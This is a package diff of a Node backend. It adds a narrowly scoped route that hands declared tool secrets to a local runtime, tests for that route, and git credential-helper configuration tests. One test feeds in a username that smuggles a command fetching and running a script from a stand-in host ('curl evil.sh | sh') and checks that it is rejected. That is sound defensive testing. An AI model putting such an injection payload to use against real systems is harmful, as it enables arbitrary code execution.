@bevel-software/platform-core-backend 0.12.0 → 0.13.1

package/src/modules/declared-variables/__tests__/declared-variables.route.test.ts

@@ -0,0 +1,166 @@
+import type { Server as HttpServer } from 'node:http';
+import express from 'express';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { createDeclaredVariableRoutes } from '../declared-variables.routes.js';
+import type { IToolManualService, ToolManualSummary } from '../../tool-manuals/tool-manuals.contract.js';
+import type { ISecretsVaultService } from '../../secrets-vault/secrets-vault.contract.js';
+
+/**
+ * The one core route that releases secret VALUES. What is worth pinning here is
+ * not the happy path but the shape of the boundary: the caller names a FILE,
+ * the server decides the variables, unreadable means 404, and a
+ * platform-executed tool never releases anything.
+ */
+
+const GIT_TOOL: ToolManualSummary = {
+  slug: 'git',
+  name: 'git',
+  path: 'Plugins/Engineering/software.bevel.hexis/tools/git.tool',
+  type: 'inline',
+  remote: false,
+  variables: [
+    { name: 'GITHUB_TOKEN', scope: 'admin' },
+    { name: 'OPTIONAL_TOKEN', scope: 'admin' },
+  ],
+};
+
+const REMOTE_TOOL: ToolManualSummary = {
+  slug: 'billing',
+  name: 'billing',
+  path: 'Plugins/billing.tool',
+  type: 'http',
+  remote: true,
+  variables: [{ name: 'BILLING_KEY', scope: 'admin' }],
+};
+
+let httpServer: HttpServer | undefined;
+
+interface Harness {
+  base: string;
+  resolve: ReturnType<typeof vi.fn>;
+}
+
+async function mount(opts: {
+  userId?: string;
+  /** How the caller authenticated. `session` is a browser; anything else is a machine. */
+  source?: 'session' | 'external' | 'internal';
+  manuals?: ToolManualSummary[];
+  secrets?: Record<string, string>;
+}): Promise<Harness> {
+  const userId = opts.userId ?? 'user-1';
+  const source = opts.source ?? 'external';
+  const secrets = opts.secrets ?? {};
+  const resolve = vi.fn(async (_u: string, key: string) => secrets[key] ?? null);
+
+  const toolManualService = {
+    listAccessible: async () => opts.manuals ?? [],
+  } as unknown as IToolManualService;
+  const secretsVault = { resolve } as unknown as ISecretsVaultService;
+
+  const app = express();
+  app.use(express.json());
+  app.use(
+    createDeclaredVariableRoutes(
+      toolManualService,
+      secretsVault,
+      (req, _res, next) => {
+        if (userId) req.toolAuth = { userId, source, scope: 'write' } as typeof req.toolAuth;
+        next();
+      },
+      async () => 'runner@x.eu',
+    ),
+  );
+  httpServer = await new Promise<HttpServer>((r) => {
+    const s = app.listen(0, () => r(s));
+  });
+  const port = (httpServer.address() as { port: number }).port;
+  return { base: `http://127.0.0.1:${port}`, resolve };
+}
+
+afterEach(async () => {
+  if (httpServer) await new Promise<void>((r) => httpServer!.close(() => r()));
+  httpServer = undefined;
+  vi.restoreAllMocks();
+});
+
+describe('POST /agent/local-tools/:slug/variables', () => {
+  it('resolves exactly what the manual declares, and reports the rest as missing', async () => {
+    const { base, resolve } = await mount({
+      manuals: [GIT_TOOL],
+      secrets: { git_GITHUB_TOKEN: 'ghp_secret' },
+    });
+    const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
+    expect(res.status).toBe(200);
+    expect(await res.json()).toEqual({
+      name: 'git',
+      variables: { GITHUB_TOKEN: 'ghp_secret' },
+      missing: ['OPTIONAL_TOKEN'],
+    });
+    // The keys asked of the vault come from the FILE, namespaced per manual.
+    expect(resolve.mock.calls.map((c) => c[1])).toEqual(['git_GITHUB_TOKEN', 'git_OPTIONAL_TOKEN']);
+  });
+
+  it('returns a variable named __proto__ rather than losing it to the prototype', async () => {
+    // `__proto__` is a valid `[A-Za-z0-9_]+` name. On a plain object the
+    // assignment sets the prototype, and the resolved secret vanished from the
+    // response with nothing to say it had.
+    const proto: ToolManualSummary = { ...GIT_TOOL, variables: [{ name: '__proto__', scope: 'admin' }] };
+    const { base } = await mount({ manuals: [proto], secrets: { git___proto__: 'p-secret' } });
+    const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
+    const body = (await res.json()) as { variables: Record<string, string>; missing: string[] };
+    expect(body.variables.__proto__).toBe('p-secret');
+    expect(body.missing).toEqual([]);
+  });
+
+  it('never caches a response carrying a secret', async () => {
+    const { base } = await mount({ manuals: [GIT_TOOL], secrets: { git_GITHUB_TOKEN: 'x' } });
+    const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
+    expect(res.headers.get('cache-control')).toBe('no-store');
+  });
+
+  it('refuses a tool the platform itself executes', async () => {
+    // A remote-capable tool's credentials are used server-side; releasing them
+    // would egress a secret that had no reason to leave.
+    const { base, resolve } = await mount({ manuals: [REMOTE_TOOL], secrets: { billing_BILLING_KEY: 'k' } });
+    const res = await fetch(`${base}/agent/local-tools/billing/variables`, { method: 'POST' });
+    expect(res.status).toBe(409);
+    expect(resolve).not.toHaveBeenCalled();
+  });
+
+  it('404s a manual the caller cannot read', async () => {
+    const { base, resolve } = await mount({ manuals: [] });
+    expect((await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' })).status).toBe(404);
+    expect(resolve).not.toHaveBeenCalled();
+  });
+
+  it('403s an unauthenticated caller', async () => {
+    const { base } = await mount({ userId: '', manuals: [GIT_TOOL] });
+    expect((await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' })).status).toBe(403);
+  });
+
+  it('refuses a BROWSER SESSION, even one that can read the tool', async () => {
+    // `manualAuth` accepts a session JWT, which is right for manual discovery
+    // and wrong here: this route hands back secret VALUES, and the Secrets page
+    // is deliberately write-only — a field starts empty even when a value
+    // exists. A session that could read values back would undo that for anyone
+    // with mere READ access to a `.tool`.
+    const { base, resolve } = await mount({
+      source: 'session',
+      manuals: [GIT_TOOL],
+      secrets: { git_GITHUB_TOKEN: 'ghp_secret' },
+    });
+    const res = await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' });
+    expect(res.status).toBe(403);
+    expect(await res.text()).not.toContain('ghp_secret');
+    expect(resolve).not.toHaveBeenCalled();
+  });
+
+  it('allows the machine callers that need it', async () => {
+    for (const source of ['external', 'internal'] as const) {
+      const { base } = await mount({ source, manuals: [GIT_TOOL], secrets: { git_GITHUB_TOKEN: 'x' } });
+      expect((await fetch(`${base}/agent/local-tools/git/variables`, { method: 'POST' })).status).toBe(200);
+      if (httpServer) await new Promise<void>((r) => httpServer!.close(() => r()));
+      httpServer = undefined;
+    }
+  });
+});

package/src/modules/declared-variables/declared-variables.routes.ts

@@ -0,0 +1,151 @@
+import express, { type Request, type RequestHandler } from 'express';
+import { utcpNamespacedKey } from '../../shared/utcp-namespace.js';
+import type { IToolManualService } from '../tool-manuals/tool-manuals.contract.js';
+import type { ISecretsVaultService } from '../secrets-vault/secrets-vault.contract.js';
+
+type ResolveUserEmail = (userId: string) => Promise<string | undefined>;
+
+/**
+ * The ONLY core route that returns secret VALUES.
+ *
+ * Everywhere else a credential is resolved in-process at tool-call time and
+ * never crosses the wire — `resolve()` has one caller, the UTCP variable
+ * loader. One runtime outside this process legitimately needs values anyway:
+ * the LOCAL MCP server, which executes a `remote: false` `.tool` on the user's
+ * own machine and has to expand that manual's `${VAR}` refs there.
+ *
+ * The discipline that makes this safe, and the reason it is a narrow route
+ * rather than a generic "resolve these keys" endpoint: **the caller never names
+ * the variables**. It names a knowledge-base file; the server re-reads that
+ * file from the DEFAULT branch and resolves exactly what the file declares.
+ * The knowledge base is the allowlist, it is reviewable as a diff, and no
+ * caller — however privileged its connection key — can widen it.
+ *
+ * Three further constraints hold here:
+ *
+ * 1. **Read access is required.** A caller that cannot read the declaring file
+ *    gets a 404, not an empty object: whether a manual exists is itself
+ *    information.
+ * 2. **Only local manuals.** A remote-capable `.tool`'s credentials are used
+ *    server-side; handing them to a local caller would egress a secret that had
+ *    no reason to leave.
+ * 3. **Values are never logged, only names.** Every resolve emits one audit
+ *    line naming the caller, the file and the variable names — enough to
+ *    reconstruct who was handed what, and never the what itself.
+ *
+ * Responses are `no-store`: a secret must not sit in an intermediary cache.
+ *
+ * An overlay that ships its own kind of declaring file adds its own route in
+ * this same shape rather than widening this one. The allowlist has to be a file
+ * the server itself reads, and a route that understood several file kinds would
+ * be one refactor away from taking the list from the caller.
+ */
+export function createDeclaredVariableRoutes(
+  toolManualService: IToolManualService,
+  secretsVault: ISecretsVaultService,
+  manualAuth: RequestHandler,
+  resolveUserEmail: ResolveUserEmail,
+): express.Router {
+  const router = express.Router();
+
+  /**
+   * Who is asking — and only if it is a MACHINE.
+   *
+   * `manualAuth` also accepts a browser session JWT, which is right for the
+   * rest of the agent surface: manual discovery is a read-only listing a
+   * signed-in user may legitimately fetch. It is wrong here. This route hands
+   * back secret VALUES, and the Secrets page is deliberately write-only —
+   * a field starts empty even when a value exists, and saving replaces rather
+   * than reveals. A session token that could read values back would undo that,
+   * and would do it for anyone who can merely READ a `.tool`.
+   *
+   * The caller that needs this is the local MCP server, which authenticates
+   * with a connection key or an internal token. A browser has no reason to ask
+   * at all, so a session is refused rather than scoped.
+   */
+  async function machineCaller(req: Request): Promise<{ userId: string; email: string } | null> {
+    const auth = req.toolAuth;
+    if (!auth?.userId || auth.source === 'session') return null;
+    try {
+      const email = await resolveUserEmail(auth.userId);
+      return email ? { userId: auth.userId, email } : null;
+    } catch {
+      return null;
+    }
+  }
+
+  /**
+   * Resolve one variable set, and report which names came back empty.
+   *
+   * A missing secret is NOT an error here. The runtime that asked is better
+   * placed to decide — a local tool may have an optional token, and the
+   * execution layer wants to fail the step with the variable's name in the
+   * message rather than receive a 500 it can only call "infra". So the value
+   * map carries what resolved and `missing` carries the rest.
+   */
+  async function resolveAll(
+    userId: string,
+    entries: { name: string; key: string }[],
+  ): Promise<{ values: Record<string, string>; missing: string[] }> {
+    // Null-prototype: a manual may legitimately declare a variable named
+    // `__proto__` (the name grammar is `[A-Za-z0-9_]+`), and on a plain object
+    // that assignment silently sets the prototype instead of a property — the
+    // secret resolves and then vanishes from the response.
+    const values: Record<string, string> = Object.create(null) as Record<string, string>;
+    const missing: string[] = [];
+    const resolved = await Promise.all(
+      entries.map(async (e) => ({ name: e.name, value: await secretsVault.resolve(userId, e.key) })),
+    );
+    for (const r of resolved) {
+      if (typeof r.value === 'string' && r.value.length > 0) values[r.name] = r.value;
+      else missing.push(r.name);
+    }
+    return { values, missing };
+  }
+
+  /**
+   * The variables a LOCAL `.tool` declares, for the local MCP server to expand
+   * into a tool invocation there. The manual is re-read server-side; the caller
+   * sends nothing but the slug.
+   */
+  router.post('/agent/local-tools/:slug/variables', manualAuth, async (req, res) => {
+    const who = await machineCaller(req);
+    if (!who) {
+      return void res.status(403).json({
+        error:
+          'This endpoint releases secret values to a local runtime and is not reachable with a browser session. ' +
+          'Use a connection key.',
+      });
+    }
+    const slug = String(req.params.slug);
+    try {
+      // `listAccessible` already applies the per-file read verdict, so an
+      // unreadable manual is simply absent — same fail-closed read model the
+      // catalog uses.
+      const manual = (await toolManualService.listAccessible(who.email)).find((m) => m.slug === slug);
+      if (!manual) return void res.status(404).json({ error: 'Not found' });
+      if (manual.remote !== false) {
+        return void res.status(409).json({
+          error:
+            'This tool runs on the platform, so its credentials are resolved there and never released. ' +
+            'Only a `remote: false` tool resolves its variables locally.',
+        });
+      }
+      const entries = (manual.variables ?? []).map((v) => ({
+        name: v.name,
+        key: utcpNamespacedKey(manual.name, v.name),
+      }));
+      const { values, missing } = await resolveAll(who.userId, entries);
+      console.info(
+        `[declared-variables] local tool "${manual.path}" resolved for user=${who.userId}: ` +
+          `provided=[${Object.keys(values).join(',')}] missing=[${missing.join(',')}]`,
+      );
+      res.set('Cache-Control', 'no-store').json({ name: manual.name, variables: values, missing });
+    } catch (err) {
+      console.error('[declared-variables] local tool resolve failed:', err instanceof Error ? err.message : err);
+      res.status(500).json({ error: 'Failed to resolve variables' });
+    }
+  });
+
+  return router;
+}

package/src/modules/declared-variables/index.ts

@@ -0,0 +1 @@
+export { createDeclaredVariableRoutes } from './declared-variables.routes.js';

package/src/modules/diff/__tests__/diff.routes.rejectPathsLocked.test.ts

@@ -82,7 +82,7 @@ describe('rejectPathsLocked', () => {
     const h = await makeHarness();
     workspaceDir = h.workspaceDir;
 
-    await rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, [
+    await rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', [
       'knowledge-base/a.md',
       'knowledge-base/added.md',
     ]);
@@ -104,7 +104,7 @@ describe('rejectPathsLocked', () => {
     const h = await makeHarness();
     workspaceDir = h.workspaceDir;
     await expect(
-      rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, []),
+      rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', []),
     ).resolves.toBeUndefined();
     expect(h.calls).toEqual([]);
   });
@@ -119,7 +119,7 @@ describe('rejectPathsLocked', () => {
     workspaceDir = h.workspaceDir;
 
     await expect(
-      rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, [
+      rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', [
         'knowledge-base/a.md',
         'knowledge-base/added.md',
       ]),
@@ -140,7 +140,7 @@ describe('rejectPathsLocked', () => {
     workspaceDir = h.workspaceDir;
 
     await expect(
-      rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, [
+      rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', [
         'knowledge-base/a.md',
       ]),
     ).rejects.toBeInstanceOf(WorkflowValidationError);

package/src/modules/diff/diff.routes.ts

@@ -45,6 +45,7 @@ export async function rejectPathsLocked(
   diffService: IDiffService,
   workspaceId: string,
   user: AuthUser,
+  kbDirName: string,
   paths: string[],
 ): Promise<void> {
   if (paths.length === 0) return;
@@ -54,7 +55,7 @@ export async function rejectPathsLocked(
   if (total === 0) return;
   const lockingFs = new LockingFilesystem(
     { basePath: plan.workspaceDir, contained: true },
-    { workflow: workflowService, workspaceId, branch, user },
+    { workflow: workflowService, workspaceId, branch, user, kbDirName },
   );
   try {
     await lockingFs.writeFiles(
@@ -265,7 +266,7 @@ export function createDiffRoutes(
           current?.changes.map((c) => c.path) ?? [],
         );
       }
-      await rejectPathsLocked(workflowService, diffService, req.params.id, user, paths);
+      await rejectPathsLocked(workflowService, diffService, req.params.id, user, kbDirName, paths);
       res.json({ session: await diffService.currentSession(req.params.id) });
     } catch (err) {
       const { status, body } = toHttpError(err);

package/src/modules/kb-fs/__tests__/clone-config.test.ts

@@ -1,5 +1,11 @@
-import { describe, it, expect } from 'vitest';
-import { cloneTrackingConfigArgs, ORIGIN_FETCH_REFSPEC } from '../clone-config.js';
+import { describe, it, expect, afterEach } from 'vitest';
+import {
+  cloneCredentialArgs,
+  cloneCredentialConfigArgs,
+  cloneTrackingConfigArgs,
+  credentialHelperValue,
+  ORIGIN_FETCH_REFSPEC,
+} from '../clone-config.js';
 
 describe('cloneTrackingConfigArgs', () => {
   // A slashed draft name is the everyday case (`<email-localpart>/<slug>`), and
@@ -13,3 +19,58 @@ describe('cloneTrackingConfigArgs', () => {
     ]);
   });
 });
+
+describe('credential config', () => {
+  const ORIGINAL = process.env.GITHUB_TOKEN;
+  afterEach(() => {
+    if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
+    else process.env.GITHUB_TOKEN = ORIGINAL;
+  });
+
+  it('reads the token from the environment at call time, never inlining its value', () => {
+    process.env.GITHUB_TOKEN = 'ghp_supersecret';
+    const helper = credentialHelperValue('x-access-token');
+    expect(helper).toContain('password=$GITHUB_TOKEN');
+    expect(helper).not.toContain('ghp_supersecret');
+  });
+
+  it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
+    delete process.env.GITHUB_TOKEN;
+    expect(credentialHelperValue('x-access-token')).toBeNull();
+    // A fresh clone simply carries nothing…
+    expect(cloneCredentialArgs('x-access-token')).toEqual([]);
+    // …but an adopted clone may carry a helper from when a token WAS
+    // configured, and that stale helper (answering with an empty password)
+    // would shadow whatever auth the operator fell back to — so the repair
+    // path removes it. Callers run this tolerantly: unset of a missing key
+    // exits non-zero and is the expected no-op.
+    expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
+      ['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
+    ]);
+  });
+
+  it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
+    process.env.GITHUB_TOKEN = 'ghp_x';
+    // Pinned exactly: `-c` here instead of `--config` still authenticates the
+    // clone but writes nothing into the new repo, which is the bug this guards.
+    expect(cloneCredentialArgs('oauth2')).toEqual([
+      '--config',
+      `credential.helper=${credentialHelperValue('oauth2')}`,
+    ]);
+  });
+
+  it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
+    process.env.GITHUB_TOKEN = 'ghp_x';
+    // The trailing value-pattern is what keeps an operator's own clone-local
+    // helper (store/cache/custom) out of reach of both the replace and the
+    // unset — git only touches values matching it.
+    expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
+      ['config', '--replace-all', 'credential.helper', credentialHelperValue('x-access-token'), 'password=\\$GITHUB_TOKEN'],
+    ]);
+  });
+
+  it('refuses a username that would break out of the helper snippet', () => {
+    process.env.GITHUB_TOKEN = 'ghp_x';
+    expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
+  });
+});